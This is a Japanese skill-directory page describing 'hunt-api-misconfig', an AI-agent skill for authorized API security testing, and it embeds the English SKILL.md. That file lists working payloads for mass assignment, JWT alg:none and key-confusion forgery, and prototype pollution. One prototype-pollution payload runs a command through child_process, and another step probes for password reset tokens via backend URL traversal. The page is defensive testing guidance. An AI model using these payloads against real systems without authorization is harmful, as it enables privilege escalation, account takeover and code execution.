hunt-api-misconfig
できること
このスキルは、セキュリティテスターが、マスアサインメント、プロトタイプ汚染、HTTP の動詞の改ざんについて API を確認する方法を案内します。認可された Web と API のアプリケーションのテストのためのものです。
使う場面
- ✓API がプロファイルやアカウントの更新を受け付け、隠された管理者のフィールドがないか確認したいとき。
- ✓ユーザーの入力をオブジェクトに統合する Node.js 風のアプリが、脆弱かもしれないとき。
- ✓エンドポイントが他の HTTP メソッドで違う振る舞いをするか確認したいとき。
スキルのリンク
https://github.com/elementalsouls/Claude-BugHunter/blob/main/skills/hunt-api-misconfig/SKILL.mdコピーしてAI(Claude、ChatGPT、Cursor)に貼り付け、指示に従うよう頼んでください。
使い方
いちばん簡単な方法:メッセージをコピーしてAIに貼り付けるだけ。AIがスキルを読んで指示に従います。
貼り付け用メッセージ
Claude Code、Codex、Cursorの場合:プロジェクトのフォルダで実行するとスキルがインストールされます。
SKILL.mdをダウンロードして、エージェントのスキル用フォルダに入れてください。
AIへの頼み方の例
“このプロフィール更新の API について、マスアサインメントを確認してください。利用者が自分の管理者のロールを設定できないかを見たいです。”
毎週5つの新しいスキル。1分で読めます。
仕組み
エージェントは、更新のエンドポイントに余分なフィールドや異常な入力を送り、サーバーがそれを適用するかを確認します。証拠として、変更された設定を報告します。
技術的な内容(元のSKILL.md)
作者による元のテキスト(英語)をGitHubからそのまま表示しています。
12. API SECURITY MISCONFIGURATION
Mass Assignment
User.update(req.body) // body has {"role": "admin"} → privilege escalation
JWT None Algorithm
header = {"alg": "none", "typ": "JWT"}
payload = {"sub": 1, "role": "admin"}
token = base64(header) + "." + base64(payload) + "." # no signature
JWT RS256 → HS256 Algorithm Confusion
# Get server's public key from /.well-known/jwks.json
# Sign token with public key as HMAC secret
token = jwt.encode({"sub": "admin", "role": "admin"}, pub_key, algorithm="HS256")
# Server uses RS256 key as HS256 secret → accepts it
Prototype Pollution
// Server-side — Node.js merge without protection
{"__proto__": {"admin": true}}
{"constructor": {"prototype": {"admin": true}}}
// URL: ?__proto__[isAdmin]=true&__proto__[role]=superadmin
For server-side prototype pollution, hunt for an object merge primitive first, then a sink. Favor
JSON/object update endpoints such as profile, address, preferences, settings, cart, admin job, import,
or webhook configuration. Do not stop at a 200 response to __proto__; prove that polluted prototype
state reaches a later operation.
Hunt sequence:
- Find an object-update endpoint. Prefer endpoints that accept many named fields or JSON objects. Try both JSON and form encodings when the app accepts forms. Include CSRF/session fields when needed.
- Pollute harmless marker properties. Send variants such as:
{"__proto__":{"polluted":"pp-1337"}}
{"constructor":{"prototype":{"polluted":"pp-1337"}}}
__proto__[polluted]=pp-1337
constructor[prototype][polluted]=pp-1337
- Trigger a separate sink. After pollution, request account/profile/admin/job/export/search/render endpoints and compare with baseline. Strong signals include changed JSON defaults, unexpected fields, server errors mentioning object properties, changed job output, template/render errors, or command/job behavior changes.
- Escalate only through learned sinks. Candidate properties depend on the sink:
{"__proto__":{"json spaces":10}}
{"__proto__":{"status":555}}
{"__proto__":{"isAdmin":true,"role":"admin"}}
{"__proto__":{"shell":"/bin/bash","argv0":"node","NODE_OPTIONS":"--inspect"}}
{"__proto__":{"execArgv":["--eval","process.mainModule.require('child_process').execSync('id')"]}}
- For exfiltration labs or real impact, prefer non-destructive proof. If an admin job, diagnostic, export, or rendering endpoint consumes polluted defaults, use a marker or environment/secret read only when authorized. In production, stop at a controlled marker unless scope explicitly permits data access.
Server-Side Parameter Pollution in Backend URL / REST URL Construction
Use this when a frontend form or endpoint appears to call a server-side API on your behalf (password reset, account lookup, profile fetch, product lookup, stock check, search). The bug is not ordinary client-side query pollution. The server takes your input and interpolates it into a backend URL path or query string, such as:
/api/internal/users/<username>/field/email
/api/users/<id>
/api/users?username=<username>&field=email
Hunt sequence:
- Find the flow and read the client request. Fetch the page and any referenced JavaScript. Look
for form actions,
fetch(...), hidden CSRF fields, and the exact parameter name the browser sends. If there is a reset/account form, test known usernames first to learn the normal success/error shape. - Determine whether input lands in a backend path or query. Send URL metacharacters in the input:
#,?,&x=y,/,../, and encoded forms%23,%3f,%26x=y,%2f,%2e%2e%2f. Distinct errors such asInvalid route,API definition,unsupported field, or changed returned fields mean your value is being interpreted by a server-side URL router, not merely validated as text. - Use path traversal to move inside the server-side URL. If
username/../other-userchanges the referenced account, the input is in a REST path segment. Then try appending route fragments such as/field/email,/field/id,/field/username,/field/passwordResetToken, and terminate the rest of the original backend path with#or%23when the backend URL parser honors fragments. - Discover API documentation from errors. When an error says to consult the API definition, probe
common documentation/spec paths:
/openapi.json, `/
よくある質問
マスアサインメントとは何ですか?
ロールのフィールドなど、意図より多くのフィールドを API が受け付け、確認せずに保存してしまうことです。
JWT の暗号の問題も扱いますか?
いいえ。JWT の署名と鍵の攻撃は別の JWT のスキルが扱い、このスキルは暗号以外の JWT の扱いを扱うとされています。
誰のためのものですか?
認可された Web と API のアプリケーションのテストを行うセキュリティテスターのためのものです。
詳細
作者による元の説明
Hunt API security misconfiguration — mass assignment, prototype pollution, HTTP verb tampering. Mass assignment: send {is_admin:true, role:admin, verified:true} on profile/account/reset endpoints — server blindly applies. JWT signature/crypto forging (alg:none, key confusion, kid/jku) is owned by hunt-jwt-crypto; this skill covers only non-crypto JWT handling. Prototype pollution: __proto__ injection in JSON merge / Object.assign / lodash _.merge → polluted prototype reaches sink (RCE in Node, XSS in browser). HTTP verb: GET-bypass-CSRF, X-HTTP-Method-Override, TRACE enabled. Detection: API re
人気
- GitHubのスター
- 5.4k
- ランキング
- #14892
- ライセンス
- MIT
- 更新日
- 2026/11/2
コメント
- …
このリポジトリの他のスキル
apk-redteam-pipeline
5.4kエージェントが、Android アプリのセキュリティの弱点を、APK ファイルの発見と逆コンパイルから、埋め込まれた機密情報の確認まで、認可されたテストとして確認できるよう支援します。
bugcrowd-reporting
5.4kエージェントが、適切なカテゴリーを選び、対象外の異議に答えることで、より良い Bugcrowd の脆弱性報告書を書けるよう支援します。
cloud-iam-deep
5.4kエージェントが、認可されたセキュリティテストの間に、見つかったクラウドの認証情報が AWS、Azure、Google Cloud で何にアクセスできるかを確認できるよう支援します。
enterprise-vpn-attack
5.4kエージェントが、認可されたテスト中に、Cisco、Fortinet、Citrix などの VPN とリモートアクセスの機器に、既知の弱点がないか確認できるよう支援します。
似ているスキル
reverse-engineer-anything
422kREAツールを使って、出荷済みのアプリやパッケージの中身を調べ、機能の説明、版の比較、再構築の手順をエージェントが支援します。
1password
394k1Password CLIをセットアップし、サインインして、秘密情報の値を会話に表示せずに読み取ったり注入したりするようエージェントを支援します。
healthcheck
394kOpenClawを動かすコンピューターやサーバーを、SSH、ファイアウォール、更新、バックアップなどのセキュリティリスクについて監査し、安全な修正案を提案するようエージェントを支援します。